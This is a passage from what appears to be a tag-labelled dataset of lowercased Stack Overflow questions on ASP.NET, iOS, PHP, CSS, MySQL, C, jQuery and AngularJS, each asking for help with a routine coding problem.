asp.net + databinder.eval with multiple bound fields  i have a gridview that shows a list of users. each user has a first name  last name  and other data you would expect a user to have. each value is exposed through boundfield. for instance  first name is available through  firstname   last name is available by  lastname .    when  a user clicks a linkbutton i have in a templatefield  i need to execute some javascript. this javascript function requires both the firstname and lastname. currently  i am trying something like this:   <pre><code>&lt;asp:linkbutton id= lbprompt  runat= server  text= prompt  commandname= prompt      commandargument= &lt;%# eval( username ) %&gt;     onclientclick= &lt;%# eval( firstname    lastname    return askuser(\ {0}\  \ {1}\ ); ) %&gt;  /&gt; </code></pre>   this statement does not work because the eval method does not accept this kind of overload. how do i accomplish this task     thanks,asp.net
how to check whether a cgpoint is inside a uiimageview   in <code>touchesbegan:</code>   <pre><code>cgpoint touch_point = [[touches anyobject] locationinview:self.view]; </code></pre>   there are tens of <code>uiimageview</code> around  stored in a <code>nsmutablearray</code> <code>images</code>. i d like to know is there a built-in function to check if a <code>cgpoint</code> (touch_point) is inside one of the images  e.g.:   <pre><code>for (uiimageview *image in images) {    // how to test if touch_point is tapped on a image  } </code></pre>   thanks    follow up:    for unknown reason  <code>pointinside</code> never returns true. here is the full code.   <pre><code>    - (void)touchesbegan:(nsset *)touches withevent:(uievent *)event      {        uitouch *touch = [touches anyobject];          touch_point = [touch locationinview:self.view];         for (uiimageview *image in piece_images) {             if ([image pointinside:touch_point withevent:event]) {                 image.hidden = yes;             } else {                 image.hidden = no;             }             nslog(@ image %.0f %.0f touch %.0f %.0f   image.center.x  image.center.y  touch_point.x  touch_point.y);         }     }  </code></pre>   although i can see the two points are sometimes identical in the <code>nslog</code> output.    i also tried:   <pre><code>  if ([image pointinside:touch_point withevent:nil])  </code></pre>   the result is the same. never returns a true.    to eliminate the chance of anything goes with with the images. i tried the following:   <pre><code>  if (yes or [image pointinside:touch_point withevent:event]) </code></pre>   all images are hidden after the first click on screen.    edit 2:    really weird. even i hard coded this:   <pre><code>        point.x = image.center.x;         point.y = image.center.y; </code></pre>   the code becomes:   <pre><code>    - (void)touchesbegan:(nsset *)touches withevent:(uievent *)event      {          uitouch *touch = [touches anyobject];          cgpoint point; // = [touch locationinview:self.view];         for (uiimageview *image in piece_images) {             point.x = image.center.x;             point.y = image.center.y;                    if ([image pointinside:point withevent:event]) {                 image.hidden = yes;                 nslog(@ yes );             } else {                 image.hidden = no;                 nslog(@ no );             }             nslog(@ image %.0f %.0f touch %.0f %.0f   image.center.x  image.center.y  point.x  point.y);         }     } </code></pre>   <code>pointinside</code> always returns <code>false</code> ...,iphone
rails asset pipeline urls  in rails  the asset pipeline concats all your assets (images  css  js and fonts) and loads them from an assets folder.    first question... where does this assets folder that the files are loaded from <strong>compressed</strong> exist  i was under the impression it was <code>public/assets/</code> but when running the app i can t seem theme in that folder...    secondly  after compression the files are loaded directly from the assets folder at the same level... so images are with css and js  etc. is it possible to change this so that the subfolders are kept intact     so turn    <code>/assets/logo-ffbd470b80efb31e6e852d938c4e3db30fda9dfd1b6f07a0ed36449f1ac9febc.png</code>    to    <code>/assets/images/header/logo-ffbd470b80efb31e6e852d938c4e3db30fda9dfd1b6f07a0ed36449f1ac9febc.png</code>,ruby-on-rails
insert an undefined number of fields in a form using php  i have some js which allows me to add as many fields as i like to a form  which then when submitted  has to be saved in a database like this:   <pre><code>title[1] &gt;&gt; video_id[1] ||| title[2] &gt;&gt; video_id[2] ||| ... </code></pre>   what i need is a php code which allows me to get all those and put them together like above.    (note that the number of values can between 1 and 100)  and i need to gather all of them together in a string  no matter how many fields there are in the form. the current code i have can t accomplish this because it has a limited number:   <pre><code>$video = $_post[ title[1] ].  &gt;&gt;  .$_post[ video_id[1] ].  |||  .$_post[ title[2] ].  &gt;&gt;  .$_post[ video_id[2] ].  |||  .$_post[ title[3] ].  &gt;&gt;  .$_post[ video_id[3] ].  |||  ; </code></pre>   how can i do it,php
jqueryui selectable: how use the same function for many behaviors   how use the same function for many behaviors     i have tried use trigger  but it dont work here. have any ideas    <pre><code>$(  #myid  ).selectable({     selected: function(event  ui) {        /* here is usefull code of the fuction */         ...     }       unselected: function(event  ui) {         /* here i want use function from  selected             (now i just copy all code here from  selected ) */     } }); </code></pre>,jquery
css background image won t scale  i m trying to learn html and css. right now i m trying to make a background image fill the browser window no matter the size.  i ve googled it 100 times and every page pretty much says the same thing. so i copied the code and it isn t working for me. when i set my browser to a smaller size  the background image repeats itself. which i don t want i just want it to fill the window.  here s my css.   <pre><code>html { background-image:url(background.jpg); background-size: 100%; background-image: no-repeat-y; } </code></pre>   before i did 100%  i tried using cover instead and that didn t work either. the image is fullscreen when the window is maximized but when i resize it the image will repeat.,css
converting .net 1.1 to .net 2.0  how we  can convert .net 1.1 to .net 2.0 without any change in code,.net
can t find stdafx.h  the .net project i have has suddenly started giving me the message: fatal error c1093: api call  importfile  failed  0x80070003  : errormessage: the system cannot find the path specified.    when i look at the code it is pointing to  i see:   <pre><code>  #include  stdafx.h  </code></pre>   that file hasn t gone any where.  it is still in my project.  why would .net suddenly not be able to find it   did i screw up the search paths somehow   if so how do i reset them,.net
css - vertical align text where text can be multiple lines  i ve been given a design by a graphic designer  which i m trying to put into html and css.    one of the issues i m facing is on a user input form.  in the design the labels for each input are a fixed width - say 100px.  the container for each label/input pair is fixed at 2em.  the design i ve been given has asked that the text for each label is vertically aligned.  so the structure is like this:   <pre><code>&lt;containertag&gt;     &lt;label /&gt;     &lt;input /&gt; &lt;/containertag&gt; </code></pre>   no problems as long as the text is on one line (i would have just used line-height of 2em to match the container)  but some of the text in the labels are wrapping to two or even lines.    is there a semantic and nice way to get around this problem     i need something that will work in ie6-9  firefox 3.5+  chrome and safari.  although i am using progressive enhancement  so if there is a solution that will only work on the later browsers  but won t break the older ones  then this would be acceptable.    any help gratefully received!    thanks for your time<br> s,css
asp.net - change column to hyperlink column  i have the following column:   <pre><code>    &lt;asp:boundfield datafield= proid  headerstyle-backcolor= #0066cc        headerstyle-font-size= 7pt  headerstyle-horizontalalign= center        headertext= proid  itemstyle-horizontalalign= center  /&gt;  </code></pre>   how do i make this into a hyperlink column     i tried the following:   <pre><code>    &lt;asp:hyperlinkcolumn datanavigateurlfield= proid        datanavigateurlformatstring= pro.aspx pro={0}        datatextfield= proid  headertext= proid  sortexpression= proid &gt;      &lt;headerstyle horizontalalign= left  /&gt;      &lt;itemstyle horizontalalign= left  /&gt;      &lt;/asp:hyperlinkcolumn&gt;  </code></pre>   not sure why it is giving me this message. my goal is simply to make that column into a hyplink so that i can have the user to to the designated page.    but getting hyperlinkcolumn  is not a known element. this can occur if there is a compilation error in the web site,asp.net
why is python s  len  function exaggerating the length of an array of bytes   i m developping a python script on windows in visual studio code using don jayamanne s python extension. here is the content of my  watch  debug window:    <a href= https://i.stack.imgur.com/y8ffi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/y8ffi.png  alt= vscode screenshot ></a>    the length of the byte array somebytes is 20  but python s len function makes it 77. why     the array is generated thus:     <pre><code>def sendtouchdown(ble):     message = bytes([0x01  0x68  0x03  0x39  0x05  0x01  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0xff  0xff  0xff  0xff  0xff  0xff  0xff])     if ble:         sendmuxble(message)     else:         sendmuxrfcomm(message) </code></pre>   and then its length measured thus:     <pre><code>def sendmuxrfcomm(somebytes):     crc = 0xffff     for i in range(0  len(somebytes)  2): </code></pre>,python
scrolling does not work on dynamic table  i have a table with class=list which outputs files that are uploaded in a server and it is created dynamically using php.the table is inside another div.the code is   <pre><code>&lt;div class= list &gt; &lt;table&gt;....php code for table...&lt;/table&gt; &lt;/div&gt; </code></pre>   i have positioned the div list in a fixed position.the css file is   <pre><code>.list{background:#66cdaa;width:20cm;position:fixed;top:3cm;left:11cm;} </code></pre>   the problem is that if table gets too big the page doen t scroll down. i have tried:   <pre><code>body{overflow:auto} </code></pre>   but it doesn t work. as an alernative solution i know that i could add to  .list   <pre><code>.list{overflow:auto;height:something;} </code></pre>   but then the list would have a fixed height which i don t want and also the table would scroll instead of the page. so is there any alternative,css
generating sql script from mysql database table  is there any application that will read a mysql database table and generate a sql script of insert statements (so that i can copy tables from one db to another db)  or how can i transfer content from db1.table1 to db2.table2 where table1 and table2 is same.    thank you.,mysql
save image from screen to my assets   this might be a hard thing to do   but  i have to save whats appears on the screen in some moment  to a file. but not just a file  i need to save it to my assets folder: my goal is that i can later use the image without the:   <pre><code>dirpaths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes); docsdir = [dirpaths objectatindex:0]; </code></pre>   <strong>but just to use it like it was on my assets</strong>  just to use: <code>@ myimage.png </code>   when <code>myimage</code> is the image that i have already saved from my print screen .    any direction on how to do that   thanks .,objective-c
comparing a buffer with a char does not work  i m making a function to print a whole line from a .txt file  until the end of the line is reached  however it doesn t seem to work  as it prints out the whole text (and yes  the sleep() function actually works in the while)   <pre><code>void string_push(ifstream&amp; file  string text  int time int tm){     char * buffer = new char [1];     while (*buffer !=  \n ){         file.read(buffer 1);         cout &lt;&lt; *buffer;         sleep(tm);     }     sleep(time); } </code></pre>   i ve tried inserting an  y  at the end of the line  and replacing > \n  with > y   but it still doesn t work. what s wrong with it,c++
cross scripting attack by appending link url in our web site  our site is facing problem of cross scripting attack in the form of appending link url in our site pages previous attack was on near by 1 month month ago  on that we have done following changes to our site : 1. parametrized queries 2. use of html encode 3. requestvalidation= true  in web.config and we successfully stop that attack by using above methods    now after one month later we again get affected with same xss attack    if anyone have any suggestions about what we can do more to stop it,.net
will apple approve an app for beta testing without app icons   i m waiting for the design team to finish app icons  i m wondering if i can save time and go ahead and post the first version of the app for apple review so we can start beta testing it.    clarification: i m not talking about publishing my app to the store but send it for initial review to start beta testing.    <strong>edit</strong>    there is some controversy about apple testing or not beta binaries but it seems they do it according this    <blockquote>    your app must pass beta app review before you can invite your external testers to test it (see submitting an app for beta app review). the build will be available to them for 30 days after the invitations are sent.  </blockquote>   <a href= https://developer.apple.com/library/ios/documentation/languagesutilities/conceptual/itunesconnect_guide/chapters/betatestingtheapp.html  rel= nofollow >testflight beta testing</a>,ios
python: output a numbered variable every time a function is called   i m using turtle to show a sorter. i have the number sorting working fine but i am working on sorting the bars. i would like to know if there s a way to assign the output of a function to a variable each time it is called. more specifically  i want to be able to assign each separate bar to a variable  and then put all the bar variables into a list and sort it simultaneously with the numbers from nums. hopefully i m making sense. any help would be appreciated.   <pre><code>nums=[30 60 90] ##sorted list  draw(): ##draws the bar based on height of number in the list     t.fd(5)     t.lt(90)     t.fd(nums[i])     t.lt(90)     t.fd(5)     t.lt(90)     t.fd(nums[i])     t.lt(90)     t.pu()     t.fd(50)     t.pd()  for i in range(len(nums)): ##draws all lines in the list     draw() </code></pre>,python
concatenate the data which came from model  i want to show the content of a table but instead of <code>sec_id</code> i want to show the <code>sec_name</code> by passing the <code>sec_id</code> in other function and get the <code>sec_name</code> and show it on the view. but i can not concatenate the variable <code>sec_name</code> because the last <code>sec_name</code> is show instead of all other <code>sec_name</code>.    this is the model   <pre><code>function get_subsec(){ $q=$this-&gt;db-&gt;query( select subsec_id subsec_name order role_id sec_id from subsection ); return $q-&gt;result_array(); }  function show_secname($id){ $q=$this-&gt;db-&gt;query( select name from section where sec_id= .$id); return $q-&gt;result_array(); } </code></pre>   this is the controller.   <pre><code>function get_subsec(){ $data[ x ]=$this-&gt;amodel-&gt;get_subsec(); foreach($data[ x ] as $s){ $y[ k ]=$this-&gt;amodel-&gt;show_secname($s[ sec_id ]); } $this-&gt;load-&gt;view( get_subsec  array_merge($data $y)); } </code></pre>   this is the view   <pre><code>&lt; php foreach($x as $row){  echo $row[ subsec_id ]; echo $row[ subsec_name ]; echo $row[ order ]; } &gt; &lt; php foreach($k as $i){ echo $i[ name ]; } &gt; </code></pre>,php
java equivalent of vb with...end with <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1494800/with-statement-in-java >with statement in java</a>    </blockquote>     in visual basic  i could do this:   <pre><code>with myobject     .mymethod1()     .mymethod2()     .mymethod3() end with </code></pre>   i m wondering if there is an equivalent in java for this,java
textview display amount in pattern  i have textviev for display amount   <pre><code>&lt;textview             android:id= @+id/amounttext              android:layout_width= match_parent              android:layout_height= wrap_content              android:layout_weight= 2              android:text= amount              android:textcolor= @android:color/darker_gray              android:textstyle= bold  /&gt; </code></pre>   how can i display amount in this textview in <code>pattern= # ##0.00 </code>,android
how to use three objects of an array at a time in php  i have an array called emp_rec with more than 100 employees and each employee having around 60 fields  am using the following method to use one employee at a time...   <pre><code>foreach($emp_rec as $obj) {    $name = $obj-&gt;get_empname();   //.....   ....../// } </code></pre>   now am planning to use three employees at a time in a single loop  how can i do this...,php
apply jquery function to multiple divs/elements with .click  hello very basic question    i have a number of divs (containing images) that i d like to apply the same scaling function to (with a .click). but i m not sure how to go about it. i think i need to use  .this  or  .target,jquery
embedd contact card  i m making a small portfolio/application site in wordpress. since i m not much for social i would like to embed a contact card  like one of those you send over sms/mms/textmessage etc.    <ul> <li>is there some html syntax i could use or do i need to create a contact-card file </li> <li>is there differences between platforms (windows phone  android and ios) </li> </ul>  <hr>   edit: i have a link that makes the users device call me.,html
reciving information from strings  i taking cures in c programming and i need to write a code.    i m trying to receive a string from the user (no more than 80 characters) and than use it as a command.    the command looks like that - <code>&lt;command name&gt; &lt;username&gt; &lt;number&gt; &lt;number&gt;</code>.    i need to copy the username for a matrix name and to copy the number for the rows and colums and i don t really know how to do it.    hope anyone could help me.,c
compare double till precision 2  i want to compare two double values till the second digit from decimal point. i am using following statement but i think it is not working properly.   <pre><code>dbl1.tostring( g2   cultureinfo.invariantculture).equals( dbl2.tostring( g2   cultureinfo.invariantculture)) </code></pre>   am i missing anything here,.net
how to make a layout which change   <a href= https://i.stack.imgur.com/mfy4p.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mfy4p.jpg  alt=  ></a>    want this kind of layout which change according to the button pressed(multiple display in one activity). dont want a navigation bar which is for all activities.     if you are not understanding what i am saying: what i am doing: making a set of questions(mcq type) user give ans to each question and submit it(submit button is on the last question),android
a function in js with parameter passing  it s the test task on the job.    a farmer has rabbits. each rabbit is its weight. when the time comes  he kills them function <code>cut(rabbit)</code>. you must write a function of cut so that it had the appearance of  <code>cut(rabbit1)(rabbit2)...(rabbitn)</code> and deduced the total mass and the number of rabbits.    for example:   <pre><code>var rabbit1 = {weight: 5}      rabbit2 = {weight: 4};  console.log(cut(rabbit1)(rabbit2)); </code></pre>   in the console we will see  9 kg of rabbits or 2 pieces .    jsfiddle - <a href= https://jsfiddle.net/sjao7ut8/  rel= nofollow >https://jsfiddle.net/sjao7ut8/</a>    how i can write function <code>cut()</code>,javascript
jquery - load images in a gallery   i have made an image gallery. what currently happens is the following.    i display all of the thumbnails  each thumbnail has a unique identifier. i then use an ajax request to look up the page and the image that matches the thumbnail.    at this point i use jquery to switch the src value in the #photo div. on my localhost this provides seemless changes between images.    on a live site the effect is obviously not as smooth. how can i display an image only after it has been loaded,jquery
extra space beneath my image links.  i have been working on a simple html landing page and i can t seem to remove the white spacing mid way through the page that my image links are causing. does anyone have a simple fix for this  thank you.    here is a link to the page: <a href= https://www.facebook.com/revivalcabs/app_190322544333196  rel= nofollow >https://www.facebook.com/revivalcabs/app_190322544333196</a>    here is my html:   <pre><code>&lt;body marginwidth= 0  marginheight= 0  bgcolor= #ffffff  topmargin= 0  leftmargin= 0 &gt; &lt;table id= table_01  height= 792  width= 814  cellspacing= 0  cellpadding= 0  border= 0  valign= top &gt; &lt;tbody&gt;   &lt;tr&gt;     &lt;td valign= top  colspan= 8 &gt;        &lt;img height= 369  width= 814  border= 0  alt=   src= http://i212.photobucket.com    /albums/cc139/takeonecar/kolossal_mgmt_top.jpg &gt;     &lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td valign= top &gt;        &lt;img height= 35  width= 84  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_mid1f.jpg &gt;     &lt;/td&gt;    &lt;td valign= top &gt;     &lt;a target= blank  href= https://www.facebook.com/counttofour  &gt;     &lt;img height= 35  width= 85  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_mid2.jpg &gt;      &lt;/a&gt;    &lt;/td&gt;    &lt;td valign= top &gt;     &lt;a target= blank  href= https://twitter.com/counttofour &gt;    &lt;img height= 35  width= 85  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_mid3f.jpg &gt;     &lt;/a&gt;    &lt;/td&gt;    &lt;td valign= top &gt;     &lt;a target= blank  href= https://www.facebook.com/counttofour &gt; &lt;img height= 35  width= 127  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_mid4.jpg &gt;     &lt;/a&gt;    &lt;/td&gt;    &lt;td valign= top &gt;     &lt;img height= 35  width= 90  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_mid5f.jpg &gt;    &lt;/td&gt;    &lt;td valign= top &gt;     &lt;a target= blank  href= https://www.facebook.com/battleghost &gt; &lt;img height= 35  width= 87  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_mid6.jpg &gt;     &lt;/a&gt;    &lt;/td&gt;    &lt;td valign= top &gt;     &lt;a target= blank  href= https://twitter.com/battleghostrva &gt;      &lt;img height= 35  width= 86  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_mid7.jpg &gt;     &lt;/a&gt;    &lt;/td&gt;    &lt;td valign= top &gt;     &lt;a target= blank  href= https://www.facebook.com/counttofour &gt;      &lt;img height= 35  width= 170  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_mid8.jpg &gt;     &lt;/a&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td valign= top  colspan= 8 &gt;       &lt;div style= height:100%; &gt;   &lt;img height= 388  width= 814  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_botf.jpg &gt;&lt;/div&gt;     &lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td valign= top  colspan= 8 &gt;       &lt;img height= 12  width= 814  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_foot.jpg &gt;     &lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td valign= top  colspan= 8 &gt;       &lt;img height= 12  width= 814  border= 0  alt=   src= http://i212.photobucket.com/albums/cc139/takeonecar/kolossal_mgmt_foot.jpg &gt;     &lt;/td&gt;   &lt;/tr&gt;   &lt;/tbody&gt;   &lt;/table&gt;  &lt;/body&gt; </code></pre>,html
how to update property automatically in c#  i have a json object. i want to update its <code>lastupdate</code> property whenever any of the other properties are <code>set</code> (changed).    how can i fix this without calling the <code>lastupdate</code> property from the calling function    <pre><code>public class tickerdata {     public string symbol { get; set; }     public string exchange { get; set; }     public securitytype securitytype { get; set; }     public string  currency { get; set; } // convert to enum later      public strategy  entrystrategy { get; set; }     public ohlcv ohlcv { get; set; }     public historicaldataeventargs[] historicaldata { get; set; }     public datetime date { get; set; }     public decimal open { get; set; }     public decimal high { get; set; }     public decimal low { get; set; }      public decimal close { get; set; }     public datetime lastupdate { get; set; } } </code></pre>,c#
c exta values of string  i m trying to parse between : : things like :amf aa :amfe.but some extra values added to string.in the code everything is more specific   <pre><code>char *aparse(char *str char *a1 char *a2) {     char *aa;     char *cr = strstr(str a1);     char *sr =  strstr(str a2);     int first = cr-str;     int second =  sr-str;     int ftag = first+5;     int stag  = second-1;     long wtag = stag-ftag;     int i=0;       aa =  malloc(wtag);       for (i=0; i&lt;wtag; i++)     {         aa[i] = str[ftag];          ftag++;      }   printf ( %s\n  aa); return aa; } </code></pre>   this is my parser code.   <pre><code>    char *aa =  :amf gosadaogle :amfe :fil doc :file ; char *music = aparse(aa  :amf   :amfe ); char *o = aparse(aa  :fil   :file ); </code></pre>   this is the way how i call function.but one of the string is comes with extra characters which comes from place i dont know.its like o = doc but music = gosadaogle .i make aa array and the extra values are disappear.but i want do it malloc.how can i solve it    i m sorry i think i can t tell my problem clearly    this will explain    i m trying to extract values between :amf and :amfe .while i m extracting with aparse some extra characters added to music or o variable,c
mysql query with conditional select arguments - unknown column in where clause  sql query:   <pre><code>select               if(        pu.userpayeetype= fiziska           concat(pu.username      pu.userlastname)          pu.usercompanyname     ) as suppliername from      publicusers pu   where      suppliername like   %jo%  </code></pre>   error code: 1054. unknown column  suppliername  in  where clause     from what i understand  sql query is evaluated and parsed  somewhat  from the bottom up which means that the where clause does not yet know what an alias  suppliername  is and throws this error.    how can i make a conditional select with regards to the column contents     database contents:   <pre><code>userpayeetype | username | userlastname | usercompanyname --------------+----------+--------------+------------------     fiziska   |  john    | doe          |  --------------+----------+--------------+------------------     fiziska   |  joe     | pie          |   --------------+----------+--------------+------------------     other     |          |              |   joes company  ltd  --------------+----------+--------------+------------------ </code></pre>   preferred results:   <pre><code>row #  | suppliername  -------+--------------------   1.   |  john doe  -------+--------------------   2.   |  joe pie  -------+--------------------   3.   |  joes company  ltd  </code></pre>   am i missing something with the syntax,mysql
2d array as return value c++  i want to build a function which returns a 2d array   <pre><code>texposuretype** cateimage::getexposurematrix() {        texposuretype** ptr =  new texposuretype*[format_matrix_rows];        for (int i = 0; i &lt; format_matrix_rows; i++)        {               ptr[i] = new texposuretype[format_matrix_cols];               for (int j = 0; j &lt; format_matrix_cols; j++)               {                      ptr[i][j] = m_exposurematrix[i][j];               }        }        return ptr; } </code></pre>   i know my code isn t effective - i can do the same with with a single malloc + 1 memcpy.    i can t however figure how to return the member i have  m_exposurematrix[i][j] as a const ref    <pre><code>texposuretype   m_exposurematrix[format_matrix_cols][format_matrix_rows]; </code></pre>,c++
.net: from string to object  i read some properties from an xml file  amongst which is a string that refers to an llblgen object for example  article . for now i have set up a rather long    <pre><code>select case mystring   case  article      return new articleentity() </code></pre>   etc. which is getting rather ugly as it gets longer and longer ;). is there a better way to do this      (the above is vb.net  but c# examples are fine as well),.net
fat arrow function and how a fat arrow function works  i saw this question in a quiz  how is a fat arrowed question works  is there any difference in the following code  if if yes why  if no why :   <pre><code>    var abc = function() {         return {           log : function() {             console.log(this.val);           }         };     }      var def = function(){         return{           log : () =&gt; {             console.log(this.val);           }         };     } </code></pre>,javascript
sql return only duplicate rows  i have a query that returns the following rows:    stateid  orderid  ordertime  permitid    i need to return only the rows that are exact duplicates all across the board so each record must be exctly the same as the other record for it to be a duplicate. i would like to return both records. these reocrds are mixed in with a bunch of records that do not have duplicates...    any idea,sql
missing image instead of imagepng  i have problem. this code should generate text to a image and showing this on the page  but this didn t work. this showing the missing image icon. code:   <pre><code>$stmt = $pdo-&gt;prepare( select * from imiona ); $stmt -&gt; execute();  while($row = $stmt -&gt; fetch(pdo::fetch_assoc)) {     $id = $row[ id ];     $japan = $row[ imie_japan ];     $polish = $row[ imie_polish ];      echo  &lt;b&gt; .$polish. &lt;/b&gt;&lt;br&gt; ;     echo $japan. &lt;br&gt; ;      header( content-type: image/png );     $fontsize = 40;     $fonttype =  arial.ttf ;     $width  = imagefontwidth($fontsize) * strlen($japan);     $height = imagefontheight($fontsize);     $image = imagecreatetruecolor($width $height);     $white = imagecolorallocate ($image 255 255 255);     $black = imagecolorallocate ($image 0 0 0);     imagefill($image 0 0 $white);     imagettftext($image $fontsize 0 0 0 $black $fonttype $japan);     imagepng ($image);     imagedestroy($image);     echo  &lt;br&gt; ; } </code></pre>,php
confused by changed api  i worked with rails around the year ago. now i get the new version of rails and i am a bit confused.     where is my script/server and script/generate. i finded <a href= http://guides.rubyonrails.org/getting_started.html  rel= nofollow >this guide</a> and as i see i need use  rails  command now.    is it version 3 changes  is there a document which describe all such changes. is there a good book corresponding to new version rails,ruby-on-rails
how to get same date all records in between two dates without using time in mysql  //query   <pre><code> select a.amount a.date c.acc_id  cash_chq_rec      from tb_cash_chq_receipt a           tb_chart_of_account c     where a.cr_acc_id = 1 and a.cr_acc_id = c.acc_id and a.date &gt;=  2016-12-09             and a.date &lt;=  2016-12-10       union      select b.amount b.date c.acc_id  cash_chq_paid      from tb_cash_chq_paid b           tb_chart_of_account c     where b.dr_acc_id = 1 and b.dr_acc_id = c.acc_id and b.date &gt;=  2016-12-09             and b.date &lt;=  2016-12-10      order by date </code></pre>   //table   <pre><code>2016-12-09 1032 record1 2016-12-09 1033 record2 2016-12-09 1034 record3 </code></pre>   im trying this query but getting only one record but i want three of them.,mysql
how to update the latitude and longitude values based on userlocation in the url shown below  <pre><code>-(void)startparsing  { xmlparser=[[nsxmlparser alloc]initwithcontentsofurl:[nsurl urlwithstring:@ https://maps.googleapis.com/maps/api/place/search/xml location=17.4297757 78.4294033&amp;radius=500&amp;types=restaurant&amp;sensor=false&amp;key=aizasyb2r3w5-mxd74cnvrgu30as4_hypuq2ysw ]]; [xmlparser setdelegate:self]; [xmlparser parse];  } </code></pre>,ios
is there an easy way to extend an attribute directive in angularjs   i want to make a custom <code>ng-if</code> but can t find any good examples of how that should be done.    what i m aiming for is:   <pre><code>&lt;div my-if= sometext &gt;....&lt;/div&gt; </code></pre>   i want that to expand to    <pre><code>&lt;div ng-if= true|false &gt;....&lt;/div&gt; </code></pre>   where <code>true|false</code> depends on <code>sometext</code>. is there an easy way to do this,angularjs
the run destination ios device is not valid for running the scheme   i ve been running my app on an iphone 5 /ios 6  but when i try to run it on an iphone 4s / ios6 i get  the run destination ios device is not valid for running the scheme nn. the scheme contains no buildables that can be built for the architectures supported by the run designation device .    i ve looked at previous postings on this but they involve issues with the deployment target. in my case i ve got the base sdk set to 6.1 and the deployment target set to 5.0.     the iphone 4 has got ios version 6.0.1.,ios
draw a line between two location - whirlyglobe  i m working on an ios application in which i m using whirlyglobe (<a href= http://code.google.com/p/whirlyglobe/  rel= nofollow >http://code.google.com/p/whirlyglobe/</a>). this api is entirely new to me.       can someone please help me to  draw line between 2 locations(latitude langitude) using code,ios
rails group_by_day working with specific day of the week  friday   i have events has people through spectators working. in events there is a date selector saving to a date column.  i m trying to .count all events that happen on lets say friday  and figure out how many spectators on average go to friday events.    i just want to spit out a number on the view like a stat.    i was trying to use groupdate gem because it seamed simple.    in my stat_controller   <pre><code>@average = event.group_by_day(:date).count </code></pre>   can i get some sort of .wday in this to group all friday together     thank you,ruby-on-rails
getting a row s position inside a mysql table  i have a table where i store the standings data of a racing championship. the problem is - i don t actually store the driver s position  but i just store the number of points along with other data (number of wins  etc.) and then let mysql sort it for me. this usually works fine  but what if i want to know a driver s position in a certain season  i could go with the following code:   <pre><code>select  l.driver  @currow := @currow + 1 as position from    driverstandings l join    (select @currow := 0) r where   l.season = 1 order by l.points desc  l.raceswon desc </code></pre>   however  this would return a list of every driver and his/her position in season 1. if i just wanted to know a driver s (e.g.  vettel ) position  what could i do  i ve tried everything i could think of  to no avail.,mysql
iterate over a collection in c#  i have the following classes created:   <pre><code>[serializable] public class appcontext : ixmlserializable {     public string reporttype = string.empty;     public string entityid = string.empty;      // options     public idictionary&lt;string  options&gt; dict_options = new dictionary&lt;string  options&gt;();     // advanced options     public list&lt;string&gt; listadvancedoptions = new list&lt;string&gt;();        public class options {         public string subjectid = string.empty;         public string varnumber = string.empty;     } } </code></pre>   how do i iterate over the options to get all the varnumbers,c#
change event not triggering until the document is clicked [jquery]  hay guys  i m using the solution found over at <a href= https://stackoverflow.com/questions/355638/jquery-toggle-event-is-messing-with-checkbox-value >jquery toggle event is messing with checkbox value</a> to fire an evert on a checkbox. ie however seems to have a bug  my event isn t being called until i click anywhere on the document.    any ideas     sample code...   <pre><code>$( .selector ).change(function(){     if ($(this).attr( checked )) {         if(v ==  0.00 ){             // some stuff         }else{             // some stuff         }      }else{         // some stuff     }    }); </code></pre>   <strong>edit:</strong>    it seems if i change .change to .click it works. well at least on check boxes.,jquery
conatenate in c  i how do i write a function to:    a) sum (and print) the length of the strings and to check the that that the sum of the strings is less than 70 before appending the two strings (null message appears if greater than 70)    b)  how do i use fgets in this circumstance     c) i am also trying to print out the original two strings and the combined string.    this is what i have so far.. but am confused on how to proceeed      <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main() {    char a[70]  b[50];     printf( enter the first string\n );    gets(a);     printf( enter the second string\n );    gets(b);     strcat(a b);     printf( string obtained on concatenation is %s\n  a); </code></pre>,c
how to use the directive with the button click in angularjs   i have directive named opendialog as follows. how can i use it from the view with the button click  here is my code for the directive   <pre><code>app.directive( opendialog   [ ngdialog   function (ngdialog) {     return {        restrict:  a          link: function ($scope  $element  $attrs) {            var opendialog = function () {                 ngdialog.open({                    //template: $attrs.opendialog                     template:  src/app/reservation/addreview.html                      //ngdialog.open({ template:  src/app/reservation/addreview.html })                     scope: $scope                     showclose: false                     closebyescape:true                });            };            $element.on( click   opendialog);        }    }; }]); </code></pre>,angularjs
how to populate a self made data model in c#  so basically i have a test block  which will consist of many test streets  and each test street will consist of many dut.     below is a snippet of the three classes.   <pre><code>class dut     {         public string primdevicename { get; set; }         public string parameters { get; set; }     }  class teststreet     {         public string name { get; set; }         public char revision { get; set; }         public int xcoordinate { get; set; }         public int ycoordinate { get; set; }          public list&lt;dut&gt; dutlist { get; private set; }          public teststreet ()         {             dutlist = new list&lt;dut&gt;();         }          public void adddut(dut deviceundertest)         {             dutlist.add(deviceundertest);         }     }  class testblock     {         public string name { get; set; }         public string revision { get; set; }         public string description { get; set; }         public list&lt;teststreet&gt; teststreetlist{ get; private set; }          public testblock ()         {             teststreetlist = new list&lt;teststreet&gt;();         }          public void addteststreet(teststreet street)         {             teststreetlist.add(street);         }     } </code></pre>   there will be one 